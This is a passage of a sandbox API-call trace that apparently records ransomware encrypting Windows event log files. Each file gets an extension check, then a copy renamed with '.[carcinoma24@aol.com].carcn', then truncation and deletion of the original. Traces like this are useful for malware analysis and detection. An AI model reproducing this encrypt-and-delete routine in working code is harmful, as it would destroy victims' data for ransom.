51 [0179.675] lstrlenW (lpString=".dbf") returned 4 [0179.675] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0179.675] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0179.675] lstrlenW (lpString=".1cd") returned 4 [0179.675] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0179.675] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0179.675] lstrlenW (lpString=".jpg") returned 4 [0179.675] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0179.676] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0179.676] lstrlenW (lpString="Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 59 [0179.676] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0179.676] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=69632) returned 1 [0179.676] CloseHandle (hObject=0x36c) returned 1 [0179.676] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx")) returned 0x20 [0179.676] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0179.676] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0179.676] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0179.676] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0179.676] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0179.677] GetLastError () returned 0x0 [0179.677] ReadFile (in: hFile=0x36c, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x11000, lpOverlapped=0x0) returned 1 [0179.759] WriteFile (in: hFile=0x310, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x11010, lpOverlapped=0x0) returned 1 [0179.761] ReadFile (in: hFile=0x36c, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0179.761] WriteFile (in: hFile=0x310, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x14a, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x14a, lpOverlapped=0x0) returned 1 [0179.761] SetEndOfFile (hFile=0x310) returned 1 [0179.766] CloseHandle (hObject=0x310) returned 1 [0179.771] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0179.771] SetEndOfFile (hFile=0x36c) returned 1 [0179.821] CloseHandle (hObject=0x36c) returned 1 [0179.821] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0179.822] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx")) returned 1 [0179.822] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0179.822] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0179.822] lstrlenW (lpString=".doc") returned 4 [0179.822] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0179.822] lstrlenW (lpString=".docx") returned 5 [0179.822] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0179.822] lstrlenW (lpString=".pdf") returned 4 [0179.822] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0179.822] lstrlenW (lpString=".xls") returned 4 [0179.822] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0179.822] lstrlenW (lpString=".xlsx") returned 5 [0179.822] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0179.822] lstrlenW (lpString=".ppt") returned 4 [0179.822] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0179.822] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0179.822] lstrlenW (lpString=".zip") returned 4 [0179.822] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0179.822] lstrlenW (lpString=".rar") returned 4 [0179.822] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0179.822] lstrlenW (lpString=".bz2") returned 4 [0179.822] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0179.822] lstrlenW (lpString=".7z") returned 3 [0179.822] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0179.822] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0179.822] lstrlenW (lpString=".dbf") returned 4 [0179.823] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0179.823] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0179.823] lstrlenW (lpString=".1cd") returned 4 [0179.823] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0179.823] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0179.823] lstrlenW (lpString=".jpg") returned 4 [0179.823] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0179.823] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0179.823] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0179.823] lstrlenW (lpString=".doc") returned 4 [0179.823] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0179.823] lstrlenW (lpString=".docx") returned 5 [0179.823] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0179.823] lstrlenW (lpString=".pdf") returned 4 [0179.823] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0179.823] lstrlenW (lpString=".xls") returned 4 [0179.823] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0179.823] lstrlenW (lpString=".xlsx") returned 5 [0179.823] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0179.823] lstrlenW (lpString=".ppt") returned 4 [0179.823] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0179.823] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0179.823] lstrlenW (lpString=".zip") returned 4 [0179.823] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0179.823] lstrlenW (lpString=".rar") returned 4 [0179.823] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0179.823] lstrlenW (lpString=".bz2") returned 4 [0179.823] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0179.823] lstrlenW (lpString=".7z") returned 3 [0179.823] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0179.823] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0179.823] lstrlenW (lpString=".dbf") returned 4 [0179.823] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0179.823] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0179.824] lstrlenW (lpString=".1cd") returned 4 [0179.824] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0179.824] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0179.824] lstrlenW (lpString=".jpg") returned 4 [0179.824] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0179.824] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0179.824] lstrlenW (lpString="Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 47 [0179.824] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0179.824] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=69632) returned 1 [0179.824] CloseHandle (hObject=0x36c) returned 1 [0179.824] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx")) returned 0x20 [0179.824] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0179.824] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0179.824] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0179.824] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0179.824] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0179.825] GetLastError () returned 0x0 [0179.825] ReadFile (in: hFile=0x36c, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x11000, lpOverlapped=0x0) returned 1 [0179.850] WriteFile (in: hFile=0x380, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x11010, lpOverlapped=0x0) returned 1 [0179.851] ReadFile (in: hFile=0x36c, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0179.851] WriteFile (in: hFile=0x380, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x132, lpOverlapped=0x0) returned 1 [0179.851] SetEndOfFile (hFile=0x380) returned 1 [0179.852] CloseHandle (hObject=0x380) returned 1 [0179.853] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0179.853] SetEndOfFile (hFile=0x36c) returned 1 [0179.855] CloseHandle (hObject=0x36c) returned 1 [0179.855] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0179.855] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx")) returned 1 [0179.856] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0179.856] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0179.856] lstrlenW (lpString=".doc") returned 4 [0179.856] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0179.856] lstrlenW (lpString=".docx") returned 5 [0179.856] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0179.856] lstrlenW (lpString=".pdf") returned 4 [0179.856] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0179.856] lstrlenW (lpString=".xls") returned 4 [0179.856] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0179.856] lstrlenW (lpString=".xlsx") returned 5 [0179.856] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0179.856] lstrlenW (lpString=".ppt") returned 4 [0179.856] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0179.856] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0179.856] lstrlenW (lpString=".zip") returned 4 [0179.856] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0179.856] lstrlenW (lpString=".rar") returned 4 [0179.856] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0179.856] lstrlenW (lpString=".bz2") returned 4 [0179.856] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0179.856] lstrlenW (lpString=".7z") returned 3 [0179.856] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0179.856] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0179.856] lstrlenW (lpString=".dbf") returned 4 [0179.856] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0179.856] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0179.857] lstrlenW (lpString=".1cd") returned 4 [0179.857] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0179.857] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0179.857] lstrlenW (lpString=".jpg") returned 4 [0179.857] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0179.857] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0179.857] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0179.857] lstrlenW (lpString=".doc") returned 4 [0179.857] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0179.857] lstrlenW (lpString=".docx") returned 5 [0179.857] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0179.857] lstrlenW (lpString=".pdf") returned 4 [0179.857] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0179.857] lstrlenW (lpString=".xls") returned 4 [0179.857] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0179.857] lstrlenW (lpString=".xlsx") returned 5 [0179.857] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0179.857] lstrlenW (lpString=".ppt") returned 4 [0179.857] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0179.857] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0179.857] lstrlenW (lpString=".zip") returned 4 [0179.857] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0179.857] lstrlenW (lpString=".rar") returned 4 [0179.857] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0179.858] lstrlenW (lpString=".bz2") returned 4 [0179.858] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0179.858] lstrlenW (lpString=".7z") returned 3 [0179.858] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0179.858] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0179.858] lstrlenW (lpString=".dbf") returned 4 [0179.858] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0179.858] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0179.858] lstrlenW (lpString=".1cd") returned 4 [0179.858] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0179.858] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0179.858] lstrlenW (lpString=".jpg") returned 4 [0179.858] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0179.858] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0179.858] lstrlenW (lpString="Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 49 [0179.858] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0179.858] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=69632) returned 1 [0179.858] CloseHandle (hObject=0x36c) returned 1 [0179.859] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx")) returned 0x20 [0179.859] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0179.859] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0179.859] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0179.859] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0179.859] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0179.859] GetLastError () returned 0x0 [0179.859] ReadFile (in: hFile=0x36c, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x11000, lpOverlapped=0x0) returned 1 [0179.877] WriteFile (in: hFile=0x380, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x11010, lpOverlapped=0x0) returned 1 [0179.878] ReadFile (in: hFile=0x36c, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0179.878] WriteFile (in: hFile=0x380, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x136, lpOverlapped=0x0) returned 1 [0179.879] SetEndOfFile (hFile=0x380) returned 1 [0179.879] CloseHandle (hObject=0x380) returned 1 [0179.880] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0179.880] SetEndOfFile (hFile=0x36c) returned 1 [0179.881] CloseHandle (hObject=0x36c) returned 1 [0179.882] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0179.882] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx")) returned 1 [0179.882] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0179.882] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0179.882] lstrlenW (lpString=".doc") returned 4 [0179.882] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0179.882] lstrlenW (lpString=".docx") returned 5 [0179.882] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0179.882] lstrlenW (lpString=".pdf") returned 4 [0179.882] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0179.882] lstrlenW (lpString=".xls") returned 4 [0179.882] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0179.882] lstrlenW (lpString=".xlsx") returned 5 [0179.882] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0179.882] lstrlenW (lpString=".ppt") returned 4 [0179.882] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0179.882] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0179.882] lstrlenW (lpString=".zip") returned 4 [0179.882] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0179.882] lstrlenW (lpString=".rar") returned 4 [0179.883] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0179.883] lstrlenW (lpString=".bz2") returned 4 [0179.883] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0179.883] lstrlenW (lpString=".7z") returned 3 [0179.883] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0179.883] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0179.883] lstrlenW (lpString=".dbf") returned 4 [0179.883] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0179.883] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0179.883] lstrlenW (lpString=".1cd") returned 4 [0179.883] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0179.883] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0179.883] lstrlenW (lpString=".jpg") returned 4 [0179.883] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0179.883] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0179.883] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0179.883] lstrlenW (lpString=".doc") returned 4 [0179.883] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0179.883] lstrlenW (lpString=".docx") returned 5 [0179.883] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0179.883] lstrlenW (lpString=".pdf") returned 4 [0179.883] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0179.883] lstrlenW (lpString=".xls") returned 4 [0179.883] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0179.883] lstrlenW (lpString=".xlsx") returned 5 [0179.883] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0179.883] lstrlenW (lpString=".ppt") returned 4 [0179.883] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0179.883] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0179.883] lstrlenW (lpString=".zip") returned 4 [0179.883] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0179.883] lstrlenW (lpString=".rar") returned 4 [0179.883] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0179.883] lstrlenW (lpString=".bz2") returned 4 [0179.884] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0179.884] lstrlenW (lpString=".7z") returned 3 [0179.884] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0179.884] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0179.884] lstrlenW (lpString=".dbf") returned 4 [0179.884] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0179.884] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0179.884] lstrlenW (lpString=".1cd") returned 4 [0179.884] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0179.884] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0179.884] lstrlenW (lpString=".jpg") returned 4 [0179.884] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0179.884] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0179.884] lstrlenW (lpString="Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 56 [0179.884] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0179.884] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=69632) returned 1 [0179.884] CloseHandle (hObject=0x36c) returned 1 [0179.884] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx")) returned 0x20 [0179.884] GetFileAttributesW 